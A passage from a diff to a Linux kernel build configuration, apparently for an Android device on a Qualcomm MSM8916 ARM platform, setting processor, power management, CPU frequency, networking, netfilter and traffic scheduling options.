CONFIG_ARCH_MSM8909 is not set +CONFIG_ARCH_MSM8916=y +# CONFIG_ARCH_FSM9900 is not set +# CONFIG_ARCH_FSM9010 is not set +# CONFIG_ARCH_MDM9630 is not set +# CONFIG_ARCH_MSMZIRC is not set +# CONFIG_ARCH_MDMFERRUM is not set +# CONFIG_ARCH_MSM8610 is not set +# CONFIG_ARCH_MSM8226 is not set +CONFIG_MSM_CORTEX_A53=y +CONFIG_MSM_SMP=y +CONFIG_ARCH_MSM_CORTEXMP=y +# CONFIG_MSM_LPM_TEST is not set +# CONFIG_MSM_STACKED_MEMORY is not set +CONFIG_MSM_AMSS_VERSION=6225 +# CONFIG_MSM_AMSS_VERSION_6210 is not set +# CONFIG_MSM_AMSS_VERSION_6220 is not set +CONFIG_MSM_AMSS_VERSION_6225=y +CONFIG_MSM7X00A_USE_GP_TIMER=y +# CONFIG_MSM7X00A_USE_DG_TIMER is not set +CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE_SUSPEND=y +# CONFIG_MSM7X00A_SLEEP_MODE_POWER_COLLAPSE is not set +# CONFIG_MSM7X00A_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_SLEEP_MODE=0 +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE_SUSPEND is not set +CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE=y +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_IDLE_SLEEP_MODE=1 +CONFIG_MSM7X00A_IDLE_SLEEP_MIN_TIME=20000000 +CONFIG_MSM7X00A_IDLE_SPIN_TIME=80000 +CONFIG_CPU_HAS_L2_PMU=y +# CONFIG_MSM_TEST_QMI_CLIENT is not set +CONFIG_RTAC=y +# CONFIG_MSM_VREG_SWITCH_INVERTED is not set +# CONFIG_MSM_DMA_TEST is not set +# CONFIG_WIFI_CONTROL_FUNC is not set +CONFIG_SURF_FFA_GPIO_KEYPAD=y +CONFIG_MSM_SLEEP_TIME_OVERRIDE=y +# CONFIG_MSM_MEMORY_LOW_POWER_MODE is not set +CONFIG_MSM_PM_TIMEOUT_HALT=y +# CONFIG_MSM_PM_TIMEOUT_RESET_MODEM is not set +# CONFIG_MSM_PM_TIMEOUT_RESET_CHIP is not set +CONFIG_MSM_IDLE_WAIT_ON_MODEM=0 +CONFIG_MSM_SMCMOD=y +CONFIG_MSM_DIRECT_SCLK_ACCESS=y +CONFIG_IOMMU_API=y +# CONFIG_MSM_BUS_RPM_MULTI_TIER_ENABLED is not set +# CONFIG_MSM_STANDALONE_POWER_COLLAPSE is not set +# CONFIG_MSM_GSBI9_UART is not set +# CONFIG_MSM_ULTRASOUND is not set +CONFIG_SENSORS_ADSP=y +# CONFIG_MSM_CPR is not set +# CONFIG_MSM_HSIC_SYSMON is not set +CONFIG_MSM_ENABLE_WDOG_DEBUG_CONTROL=y +# CONFIG_KRAIT_REGULATOR is not set +CONFIG_FORCE_FAST_CHARGE=y +# CONFIG_PLAT_SPEAR is not set + +# +# Processor Type +# +CONFIG_CPU_V7=y +CONFIG_CPU_32v6K=y +CONFIG_CPU_32v7=y +CONFIG_CPU_ABRT_EV7=y +CONFIG_CPU_PABRT_V7=y +CONFIG_CPU_CACHE_V7=y +CONFIG_CPU_CACHE_VIPT=y +CONFIG_CPU_COPY_V6=y +CONFIG_CPU_TLB_V7=y +CONFIG_CPU_HAS_ASID=y +CONFIG_CPU_CP15=y +CONFIG_CPU_CP15_MMU=y + +# +# Processor Features +# +# CONFIG_ARM_LPAE is not set +# CONFIG_ARCH_PHYS_ADDR_T_64BIT is not set +CONFIG_ARM_THUMB=y +# CONFIG_ARM_THUMBEE is not set +CONFIG_ARM_VIRT_EXT=y +CONFIG_SWP_EMULATE=y +# CONFIG_FORCE_INSTRUCTION_ALIGNMENT is not set +# CONFIG_CPU_ICACHE_DISABLE is not set +# CONFIG_CPU_DCACHE_DISABLE is not set +# CONFIG_CPU_BPREDICT_DISABLE is not set +CONFIG_KUSER_HELPERS=y +# CONFIG_CACHE_L2X0 is not set +CONFIG_ARM_L1_CACHE_SHIFT_6=y +CONFIG_ARM_L1_CACHE_SHIFT=6 +CONFIG_ARM_DMA_MEM_BUFFERABLE=y +CONFIG_STRICT_MEMORY_RWX=y +CONFIG_ARM_NR_BANKS=8 +CONFIG_MULTI_IRQ_HANDLER=y +# CONFIG_ARM_ERRATA_430973 is not set +# CONFIG_ARM_ERRATA_458693 is not set +# CONFIG_ARM_ERRATA_460075 is not set +# CONFIG_ARM_ERRATA_742230 is not set +# CONFIG_ARM_ERRATA_742231 is not set +# CONFIG_ARM_ERRATA_643719 is not set +# CONFIG_ARM_ERRATA_720789 is not set +# CONFIG_ARM_ERRATA_743622 is not set +# CONFIG_ARM_ERRATA_751472 is not set +# CONFIG_ARM_ERRATA_754322 is not set +# CONFIG_ARM_ERRATA_754327 is not set +# CONFIG_ARM_ERRATA_764369 is not set +# CONFIG_ARM_ERRATA_775420 is not set +# CONFIG_ARM_ERRATA_798181 is not set + +# +# Bus support +# +# CONFIG_PCI_SYSCALL is not set +# CONFIG_PCCARD is not set + +# +# Kernel Features +# +CONFIG_HAVE_SMP=y +CONFIG_SMP=y +# CONFIG_SMP_ON_UP is not set +CONFIG_ARM_CPU_TOPOLOGY=y +CONFIG_SCHED_MC=y +# CONFIG_SCHED_SMT is not set +CONFIG_HAVE_ARM_ARCH_TIMER=y +# CONFIG_MCPM is not set +CONFIG_VMSPLIT_3G=y +# CONFIG_VMSPLIT_2G is not set +# CONFIG_VMSPLIT_1G is not set +CONFIG_PAGE_OFFSET=0xC0000000 +CONFIG_NR_CPUS=4 +CONFIG_HOTPLUG_CPU=y +# CONFIG_ARM_PSCI is not set +CONFIG_LOCAL_TIMERS=y +CONFIG_ARCH_NR_GPIO=0 +# CONFIG_PREEMPT_NONE is not set +# CONFIG_PREEMPT_VOLUNTARY is not set +CONFIG_PREEMPT=y +CONFIG_PREEMPT_COUNT=y +# CONFIG_HZ_100 is not set +# CONFIG_HZ_250 is not set +CONFIG_HZ_300=y +# CONFIG_HZ_1000 is not set +CONFIG_HZ=300 +CONFIG_SCHED_HRTICK=y +# CONFIG_THUMB2_KERNEL is not set +CONFIG_AEABI=y +# CONFIG_OABI_COMPAT is not set +# CONFIG_4KSTACKS is not set +# CONFIG_ARCH_SPARSEMEM_DEFAULT is not set +# CONFIG_ARCH_SELECT_MEMORY_MODEL is not set +CONFIG_HAVE_ARCH_PFN_VALID=y +CONFIG_HIGHMEM=y +# CONFIG_HIGHPTE is not set +CONFIG_HW_PERF_EVENTS=y +# CONFIG_PERF_EVENTS_USERMODE is not set +# CONFIG_PERF_EVENTS_RESET_PMU_DEBUGFS is not set +CONFIG_FLATMEM=y +CONFIG_FLAT_NODE_MEM_MAP=y +CONFIG_HAVE_MEMBLOCK=y +CONFIG_MEMORY_ISOLATION=y +# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set +CONFIG_PAGEFLAGS_EXTENDED=y +CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_COMPACTION=y +CONFIG_MIGRATION=y +# CONFIG_PHYS_ADDR_T_64BIT is not set +CONFIG_ZONE_DMA_FLAG=0 +CONFIG_BOUNCE=y +# CONFIG_KSM is not set +CONFIG_DEFAULT_MMAP_MIN_ADDR=4096 +CONFIG_CROSS_MEMORY_ATTACH=y +# CONFIG_CLEANCACHE is not set +# CONFIG_FRONTSWAP is not set +CONFIG_MEMORY_HOLE_CARVEOUT=y +# CONFIG_USE_USER_ACCESSIBLE_TIMERS is not set +# CONFIG_BALANCE_ANON_FILE_RECLAIM is not set +CONFIG_PROCESS_RECLAIM=y +# CONFIG_ZPOOL is not set +# CONFIG_ZBUD is not set +CONFIG_ZSMALLOC=y +CONFIG_PGTABLE_MAPPING=y +# CONFIG_ENABLE_VMALLOC_SAVING is not set +CONFIG_NO_VM_RECLAIM=y +CONFIG_FORCE_MAX_ZONEORDER=11 +CONFIG_ALIGNMENT_TRAP=y +# CONFIG_UACCESS_WITH_MEMCPY is not set +CONFIG_SECCOMP=y +# CONFIG_XEN is not set +CONFIG_CP_ACCESS=y +# CONFIG_ARM_FLUSH_CONSOLE_ON_RESTART is not set + +# +# Boot options +# +CONFIG_USE_OF=y +CONFIG_ATAGS=y +# CONFIG_DEPRECATED_PARAM_STRUCT is not set +# CONFIG_BUILD_ARM_APPENDED_DTB_IMAGE is not set +CONFIG_ZBOOT_ROM_TEXT=0 +CONFIG_ZBOOT_ROM_BSS=0 +# CONFIG_ARM_APPENDED_DTB is not set +CONFIG_CMDLINE="" +# CONFIG_XIP_KERNEL is not set +# CONFIG_KEXEC is not set +# CONFIG_CRASH_DUMP is not set +CONFIG_AUTO_ZRELADDR=y +CONFIG_ARM_DECOMPRESSOR_LIMIT=0x3200000 + +# +# CPU Power Management +# + +# +# CPU Frequency scaling +# +CONFIG_CPU_FREQ=y +CONFIG_CPU_FREQ_GOV_COMMON=y +CONFIG_SCHED_FREQ_INPUT=y +CONFIG_CPU_FREQ_STAT=y +# CONFIG_CPU_FREQ_STAT_DETAILS is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_INTERACTIVE is not set +CONFIG_CPU_FREQ_GOV_PERFORMANCE=y +CONFIG_CPU_FREQ_GOV_POWERSAVE=y +# CONFIG_CPU_FREQ_GOV_USERSPACE is not set +CONFIG_CPU_FREQ_GOV_ONDEMAND=y +CONFIG_CPU_FREQ_GOV_INTERACTIVE=y +CONFIG_CPU_FREQ_GOV_CONSERVATIVE=y +CONFIG_CPU_BOOST=y + +# +# ARM CPU frequency scaling drivers +# +# CONFIG_ARM_EXYNOS4210_CPUFREQ is not set +# CONFIG_ARM_EXYNOS4X12_CPUFREQ is not set +# CONFIG_ARM_EXYNOS5250_CPUFREQ is not set +# CONFIG_ARM_KIRKWOOD_CPUFREQ is not set +CONFIG_CPU_FREQ_MSM=y +CONFIG_CPU_IDLE=y +CONFIG_CPU_IDLE_MULTIPLE_DRIVERS=y +CONFIG_CPU_IDLE_GOV_LADDER=y +CONFIG_CPU_IDLE_GOV_MENU=y +# CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set + +# +# Floating point emulation +# + +# +# At least one emulation must be selected +# +CONFIG_VFP=y +CONFIG_VFPv3=y +CONFIG_NEON=y +CONFIG_KERNEL_MODE_NEON=y + +# +# Userspace binary formats +# +CONFIG_BINFMT_ELF=y +CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y +# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set +CONFIG_BINFMT_SCRIPT=y +# CONFIG_HAVE_AOUT is not set +# CONFIG_BINFMT_MISC is not set +CONFIG_COREDUMP=y + +# +# Power management options +# +CONFIG_SUSPEND=y +CONFIG_SUSPEND_FREEZER=y +CONFIG_HAS_WAKELOCK=y +CONFIG_WAKELOCK=y +CONFIG_PM_SLEEP=y +CONFIG_PM_SLEEP_SMP=y +CONFIG_PM_AUTOSLEEP=y +CONFIG_PM_WAKELOCKS=y +CONFIG_PM_WAKELOCKS_LIMIT=0 +# CONFIG_PM_WAKELOCKS_GC is not set +CONFIG_PM_RUNTIME=y +CONFIG_PM=y +# CONFIG_PM_DEBUG is not set +# CONFIG_APM_EMULATION is not set +CONFIG_ARCH_HAS_OPP=y +CONFIG_PM_CLK=y +CONFIG_CPU_PM=y +# CONFIG_SUSPEND_TIME is not set +CONFIG_ARCH_SUSPEND_POSSIBLE=y +CONFIG_ARM_CPU_SUSPEND=y +CONFIG_NET=y + +# +# Networking options +# +CONFIG_PACKET=y +# CONFIG_PACKET_DIAG is not set +CONFIG_UNIX=y +# CONFIG_UNIX_DIAG is not set +CONFIG_XFRM=y +CONFIG_XFRM_ALGO=y +CONFIG_XFRM_USER=y +# CONFIG_XFRM_SUB_POLICY is not set +# CONFIG_XFRM_MIGRATE is not set +# CONFIG_XFRM_STATISTICS is not set +CONFIG_XFRM_IPCOMP=y +CONFIG_NET_KEY=y +# CONFIG_NET_KEY_MIGRATE is not set +CONFIG_INET=y +# CONFIG_IP_MULTICAST is not set +CONFIG_IP_ADVANCED_ROUTER=y +# CONFIG_IP_FIB_TRIE_STATS is not set +CONFIG_IP_MULTIPLE_TABLES=y +# CONFIG_IP_ROUTE_MULTIPATH is not set +CONFIG_IP_ROUTE_VERBOSE=y +CONFIG_IP_PNP=y +CONFIG_IP_PNP_DHCP=y +# CONFIG_IP_PNP_BOOTP is not set +# CONFIG_IP_PNP_RARP is not set +# CONFIG_NET_IPIP is not set +# CONFIG_NET_IPGRE_DEMUX is not set +CONFIG_NET_IP_TUNNEL=y +# CONFIG_ARPD is not set +# CONFIG_SYN_COOKIES is not set +# CONFIG_NET_IPVTI is not set +CONFIG_INET_AH=y +CONFIG_INET_ESP=y +# CONFIG_INET_IPCOMP is not set +# CONFIG_INET_XFRM_TUNNEL is not set +CONFIG_INET_TUNNEL=y +CONFIG_INET_XFRM_MODE_TRANSPORT=y +CONFIG_INET_XFRM_MODE_TUNNEL=y +# CONFIG_INET_XFRM_MODE_BEET is not set +# CONFIG_INET_LRO is not set +CONFIG_INET_DIAG=y +CONFIG_INET_TCP_DIAG=y +# CONFIG_INET_UDP_DIAG is not set +CONFIG_INET_DIAG_DESTROY=y +CONFIG_TCP_CONG_ADVANCED=y +CONFIG_TCP_CONG_BIC=y +CONFIG_TCP_CONG_CUBIC=y +CONFIG_TCP_CONG_WESTWOOD=y +CONFIG_TCP_CONG_HTCP=y +# CONFIG_TCP_CONG_HSTCP is not set +# CONFIG_TCP_CONG_HYBLA is not set +# CONFIG_TCP_CONG_VEGAS is not set +# CONFIG_TCP_CONG_SCALABLE is not set +# CONFIG_TCP_CONG_LP is not set +# CONFIG_TCP_CONG_VENO is not set +# CONFIG_TCP_CONG_YEAH is not set +# CONFIG_TCP_CONG_ILLINOIS is not set +# CONFIG_DEFAULT_BIC is not set +# CONFIG_DEFAULT_CUBIC is not set +# CONFIG_DEFAULT_HTCP is not set +CONFIG_DEFAULT_WESTWOOD=y +# CONFIG_DEFAULT_RENO is not set +CONFIG_DEFAULT_TCP_CONG="westwood" +# CONFIG_TCP_MD5SIG is not set +CONFIG_IPV6=y +CONFIG_IPV6_PRIVACY=y +CONFIG_IPV6_ROUTER_PREF=y +CONFIG_IPV6_ROUTE_INFO=y +CONFIG_IPV6_OPTIMISTIC_DAD=y +CONFIG_INET6_AH=y +CONFIG_INET6_ESP=y +CONFIG_INET6_IPCOMP=y +CONFIG_IPV6_MIP6=y +CONFIG_INET6_XFRM_TUNNEL=y +CONFIG_INET6_TUNNEL=y +CONFIG_INET6_XFRM_MODE_TRANSPORT=y +CONFIG_INET6_XFRM_MODE_TUNNEL=y +CONFIG_INET6_XFRM_MODE_BEET=y +# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set +CONFIG_IPV6_SIT=y +# CONFIG_IPV6_SIT_6RD is not set +CONFIG_IPV6_NDISC_NODETYPE=y +# CONFIG_IPV6_TUNNEL is not set +# CONFIG_IPV6_GRE is not set +CONFIG_IPV6_MULTIPLE_TABLES=y +CONFIG_IPV6_SUBTREES=y +# CONFIG_IPV6_MROUTE is not set +# CONFIG_NETLABEL is not set +CONFIG_ANDROID_PARANOID_NETWORK=y +CONFIG_NET_ACTIVITY_STATS=y +CONFIG_NETWORK_SECMARK=y +# CONFIG_NETWORK_PHY_TIMESTAMPING is not set +CONFIG_NETFILTER=y +# CONFIG_NETFILTER_DEBUG is not set +CONFIG_NETFILTER_ADVANCED=y +CONFIG_BRIDGE_NETFILTER=y + +# +# Core Netfilter Configuration +# +CONFIG_NETFILTER_NETLINK=y +# CONFIG_NETFILTER_NETLINK_ACCT is not set +CONFIG_NETFILTER_NETLINK_QUEUE=y +CONFIG_NETFILTER_NETLINK_LOG=y +CONFIG_NF_CONNTRACK=y +CONFIG_NF_CONNTRACK_MARK=y +CONFIG_NF_CONNTRACK_SECMARK=y +# CONFIG_NF_CONNTRACK_ZONES is not set +CONFIG_NF_CONNTRACK_PROCFS=y +CONFIG_NF_CONNTRACK_EVENTS=y +# CONFIG_NF_CONNTRACK_TIMEOUT is not set +# CONFIG_NF_CONNTRACK_TIMESTAMP is not set +CONFIG_NF_CT_PROTO_DCCP=y +CONFIG_NF_CT_PROTO_GRE=y +CONFIG_NF_CT_PROTO_SCTP=y +CONFIG_NF_CT_PROTO_UDPLITE=y +CONFIG_NF_CONNTRACK_AMANDA=y +CONFIG_NF_CONNTRACK_FTP=y +CONFIG_NF_CONNTRACK_H323=y +CONFIG_NF_CONNTRACK_IRC=y +CONFIG_NF_CONNTRACK_BROADCAST=y +CONFIG_NF_CONNTRACK_NETBIOS_NS=y +# CONFIG_NF_CONNTRACK_SNMP is not set +CONFIG_NF_CONNTRACK_PPTP=y +CONFIG_NF_CONNTRACK_SANE=y +CONFIG_NF_CONNTRACK_SIP=y +CONFIG_NF_CONNTRACK_TFTP=y +CONFIG_NF_CT_NETLINK=y +# CONFIG_NF_CT_NETLINK_TIMEOUT is not set +# CONFIG_NETFILTER_NETLINK_QUEUE_CT is not set +CONFIG_NF_NAT=y +CONFIG_NF_NAT_NEEDED=y +CONFIG_NF_NAT_PROTO_DCCP=y +CONFIG_NF_NAT_PROTO_UDPLITE=y +CONFIG_NF_NAT_PROTO_SCTP=y +CONFIG_NF_NAT_AMANDA=y +CONFIG_NF_NAT_FTP=y +CONFIG_NF_NAT_IRC=y +CONFIG_NF_NAT_SIP=y +CONFIG_NF_NAT_TFTP=y +CONFIG_NETFILTER_TPROXY=y +CONFIG_NETFILTER_XTABLES=y + +# +# Xtables combined modules +# +CONFIG_NETFILTER_XT_MARK=y +CONFIG_NETFILTER_XT_CONNMARK=y + +# +# Xtables targets +# +# CONFIG_NETFILTER_XT_TARGET_AUDIT is not set +# CONFIG_NETFILTER_XT_TARGET_CHECKSUM is not set +CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y +CONFIG_NETFILTER_XT_TARGET_CONNMARK=y +CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y +CONFIG_NETFILTER_XT_TARGET_CT=y +# CONFIG_NETFILTER_XT_TARGET_DSCP is not set +# CONFIG_NETFILTER_XT_TARGET_HL is not set +# CONFIG_NETFILTER_XT_TARGET_HMARK is not set +CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y +CONFIG_NETFILTER_XT_TARGET_HARDIDLETIMER=y +# CONFIG_NETFILTER_XT_TARGET_LED is not set +CONFIG_NETFILTER_XT_TARGET_LOG=y +CONFIG_NETFILTER_XT_TARGET_MARK=y +CONFIG_NETFILTER_XT_TARGET_NETMAP=y +CONFIG_NETFILTER_XT_TARGET_NFLOG=y +CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y +CONFIG_NETFILTER_XT_TARGET_NOTRACK=y +# CONFIG_NETFILTER_XT_TARGET_RATEEST is not set +CONFIG_NETFILTER_XT_TARGET_REDIRECT=y +CONFIG_NETFILTER_XT_TARGET_TEE=y +CONFIG_NETFILTER_XT_TARGET_TPROXY=y +CONFIG_NETFILTER_XT_TARGET_TRACE=y +CONFIG_NETFILTER_XT_TARGET_SECMARK=y +# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set +# CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set + +# +# Xtables matches +# +# CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set +# CONFIG_NETFILTER_XT_MATCH_BPF is not set +# CONFIG_NETFILTER_XT_MATCH_CLUSTER is not set +CONFIG_NETFILTER_XT_MATCH_COMMENT=y +# CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set +# CONFIG_NETFILTER_XT_MATCH_CONNLABEL is not set +CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y +CONFIG_NETFILTER_XT_MATCH_CONNMARK=y +CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y +# CONFIG_NETFILTER_XT_MATCH_CPU is not set +# CONFIG_NETFILTER_XT_MATCH_DCCP is not set +# CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set +CONFIG_NETFILTER_XT_MATCH_DSCP=y +CONFIG_NETFILTER_XT_MATCH_ECN=y +CONFIG_NETFILTER_XT_MATCH_ESP=y +CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y +CONFIG_NETFILTER_XT_MATCH_HELPER=y +CONFIG_NETFILTER_XT_MATCH_HL=y +CONFIG_NETFILTER_XT_MATCH_IPRANGE=y +CONFIG_NETFILTER_XT_MATCH_LENGTH=y +CONFIG_NETFILTER_XT_MATCH_LIMIT=y +CONFIG_NETFILTER_XT_MATCH_MAC=y +CONFIG_NETFILTER_XT_MATCH_MARK=y +CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y +# CONFIG_NETFILTER_XT_MATCH_NFACCT is not set +# CONFIG_NETFILTER_XT_MATCH_OSF is not set +# CONFIG_NETFILTER_XT_MATCH_OWNER is not set +CONFIG_NETFILTER_XT_MATCH_POLICY=y +# CONFIG_NETFILTER_XT_MATCH_PHYSDEV is not set +CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y +CONFIG_NETFILTER_XT_MATCH_QTAGUID=y +CONFIG_NETFILTER_XT_MATCH_QUOTA=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2_LOG=y +# CONFIG_NETFILTER_XT_MATCH_RATEEST is not set +# CONFIG_NETFILTER_XT_MATCH_REALM is not set +# CONFIG_NETFILTER_XT_MATCH_RECENT is not set +# CONFIG_NETFILTER_XT_MATCH_SCTP is not set +CONFIG_NETFILTER_XT_MATCH_SOCKET=y +CONFIG_NETFILTER_XT_MATCH_STATE=y +CONFIG_NETFILTER_XT_MATCH_STATISTIC=y +CONFIG_NETFILTER_XT_MATCH_STRING=y +# CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set +CONFIG_NETFILTER_XT_MATCH_TIME=y +CONFIG_NETFILTER_XT_MATCH_U32=y +# CONFIG_IP_SET is not set +# CONFIG_IP_VS is not set + +# +# IP: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV4=y +CONFIG_NF_CONNTRACK_IPV4=y +CONFIG_NF_CONNTRACK_PROC_COMPAT=y +CONFIG_IP_NF_IPTABLES=y +CONFIG_IP_NF_MATCH_AH=y +CONFIG_IP_NF_MATCH_ECN=y +CONFIG_IP_NF_MATCH_RPFILTER=y +CONFIG_IP_NF_MATCH_TTL=y +CONFIG_IP_NF_FILTER=y +CONFIG_IP_NF_TARGET_REJECT=y +# CONFIG_IP_NF_TARGET_REJECT_SKERR is not set +# CONFIG_IP_NF_TARGET_ULOG is not set +CONFIG_NF_NAT_IPV4=y +CONFIG_IP_NF_TARGET_MASQUERADE=y +# CONFIG_IP_NF_TARGET_NATTYPE_MODULE is not set +CONFIG_IP_NF_TARGET_NETMAP=y +CONFIG_IP_NF_TARGET_REDIRECT=y +CONFIG_NF_NAT_PROTO_GRE=y +CONFIG_NF_NAT_PPTP=y +CONFIG_NF_NAT_H323=y +CONFIG_IP_NF_MANGLE=y +# CONFIG_IP_NF_TARGET_CLUSTERIP is not set +# CONFIG_IP_NF_TARGET_ECN is not set +# CONFIG_IP_NF_TARGET_TTL is not set +CONFIG_IP_NF_RAW=y +CONFIG_IP_NF_SECURITY=y +CONFIG_IP_NF_ARPTABLES=y +CONFIG_IP_NF_ARPFILTER=y +CONFIG_IP_NF_ARP_MANGLE=y + +# +# IPv6: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV6=y +CONFIG_NF_CONNTRACK_IPV6=y +CONFIG_IP6_NF_IPTABLES=y +# CONFIG_IP6_NF_MATCH_AH is not set +# CONFIG_IP6_NF_MATCH_EUI64 is not set +# CONFIG_IP6_NF_MATCH_FRAG is not set +# CONFIG_IP6_NF_MATCH_OPTS is not set +# CONFIG_IP6_NF_MATCH_HL is not set +# CONFIG_IP6_NF_MATCH_IPV6HEADER is not set +# CONFIG_IP6_NF_MATCH_MH is not set +CONFIG_IP6_NF_MATCH_RPFILTER=y +# CONFIG_IP6_NF_MATCH_RT is not set +# CONFIG_IP6_NF_TARGET_HL is not set +CONFIG_IP6_NF_FILTER=y +CONFIG_IP6_NF_TARGET_REJECT=y +# CONFIG_IP6_NF_TARGET_REJECT_SKERR is not set +CONFIG_IP6_NF_MANGLE=y +CONFIG_IP6_NF_RAW=y +# CONFIG_IP6_NF_SECURITY is not set +# CONFIG_NF_NAT_IPV6 is not set +CONFIG_BRIDGE_NF_EBTABLES=y +CONFIG_BRIDGE_EBT_BROUTE=y +# CONFIG_BRIDGE_EBT_T_FILTER is not set +# CONFIG_BRIDGE_EBT_T_NAT is not set +# CONFIG_BRIDGE_EBT_802_3 is not set +# CONFIG_BRIDGE_EBT_AMONG is not set +# CONFIG_BRIDGE_EBT_ARP is not set +# CONFIG_BRIDGE_EBT_IP is not set +# CONFIG_BRIDGE_EBT_IP6 is not set +# CONFIG_BRIDGE_EBT_LIMIT is not set +# CONFIG_BRIDGE_EBT_MARK is not set +# CONFIG_BRIDGE_EBT_PKTTYPE is not set +# CONFIG_BRIDGE_EBT_STP is not set +# CONFIG_BRIDGE_EBT_VLAN is not set +# CONFIG_BRIDGE_EBT_ARPREPLY is not set +# CONFIG_BRIDGE_EBT_DNAT is not set +# CONFIG_BRIDGE_EBT_MARK_T is not set +# CONFIG_BRIDGE_EBT_REDIRECT is not set +# CONFIG_BRIDGE_EBT_SNAT is not set +# CONFIG_BRIDGE_EBT_LOG is not set +# CONFIG_BRIDGE_EBT_ULOG is not set +# CONFIG_BRIDGE_EBT_NFLOG is not set +# CONFIG_IP_DCCP is not set +# CONFIG_IP_SCTP is not set +# CONFIG_RDS is not set +# CONFIG_TIPC is not set +# CONFIG_ATM is not set +CONFIG_L2TP=y +CONFIG_L2TP_DEBUGFS=y +CONFIG_L2TP_V3=y +CONFIG_L2TP_IP=y +CONFIG_L2TP_ETH=y +CONFIG_STP=y +CONFIG_BRIDGE=y +CONFIG_BRIDGE_IGMP_SNOOPING=y +CONFIG_HAVE_NET_DSA=y +# CONFIG_VLAN_8021Q is not set +# CONFIG_DECNET is not set +CONFIG_LLC=y +# CONFIG_LLC2 is not set +# CONFIG_IPX is not set +# CONFIG_ATALK is not set +# CONFIG_X25 is not set +# CONFIG_LAPB is not set +# CONFIG_PHONET is not set +# CONFIG_IEEE802154 is not set +CONFIG_NET_SCHED=y + +# +# Queueing/Scheduling +# +# CONFIG_NET_SCH_CBQ is not set +CONFIG_NET_SCH_HTB=y +# CONFIG_NET_SCH_HFSC is not set +CONFIG_NET_SCH_PRIO=y +# CONFIG_NET_SCH_MULTIQ is not set +# CONFIG_NET_SCH_RED is not set +# CONFIG_NET_SCH_SFB is not set +# CONFIG_NET_SCH_SFQ is not set +# CONFIG_NET_SCH_TEQL is not set +# CONFIG_NET_SCH_TBF is not set +# CONFIG_NET_SCH_GRED is not set +# CONFIG_NET_SCH_DSMARK is not set +# CONFIG_NET_SCH_NETEM is not set +# CONFIG_NET_SCH_DRR is not set +# CONFIG_NET_SCH_MQPRIO is not set +# CONFIG_NET_SCH_CHOKE is not set +# CONFIG_NET_SCH_QFQ is not set +# CONFIG_NET_SCH_CODEL is not set +# CONFIG_NET_SCH_FQ_CODEL is not set +# CONFIG_NET_SCH_INGRESS is not set +# CONFIG_NET_SCH_PLUG is not set + +# +# Classification +# +CONFIG_NET_CLS=y +# CONFIG_NET_CLS_BASIC is not set +# CONFIG_NET_CLS_TCINDEX is not set +# CONFIG_NET_CLS_ROUTE4 is not set +CONFIG_NET_CLS_FW=y +CONFIG_NET_CLS_U32=y +# CONFIG_CLS_U32_PERF is not set +CONFIG_CLS_U32_MARK=y +# CONFIG_NET_CLS_RSVP is not set +# CONFIG_NET_CLS_RSVP6 is not set +CONFIG_NET_CLS_FLOW=y +# CONFIG_NET_CLS_CGROUP is not set +CONFIG_NET_EMATCH=y +CONFIG_NET_EMATCH_STACK=32 +CONFIG_NET_EMATCH_CMP=y +CONFIG_NET_EMATCH_NBYTE=y +CONFIG_NET_EMATCH_U32=y +CONFIG_NET_EMATCH_META=y +CONFIG_NET_EMATCH_TEXT=y +CONFIG_NET_CLS_ACT=y +# CONFIG_NET_ACT_POLICE is not set +# CONFIG_NET_ACT_GACT is not set +# CONFIG_NET_ACT_MIRRED is not set +# CONFIG_NET_ACT_IPT is not set +# CONFIG_NET_ACT_NAT is not set +# CONFIG_NET_ACT_PEDIT is not set +# CONFIG_NET_ACT_SIMP is not set +# CONFIG_NET_ACT_SKBEDIT is not set +# CONFIG_NET_ACT_CSUM is not set +# CONFIG_NET_CLS_IND is not set +CONFIG_NET_SCH_FIFO=y +# CONFIG_DCB is not set +# CONFIG_DNS_RESOLVER is not set +# CONFIG_BATMAN_ADV is not set +# CONFIG_OPENVSWITCH is not set +# CONFIG_VSOCKETS is 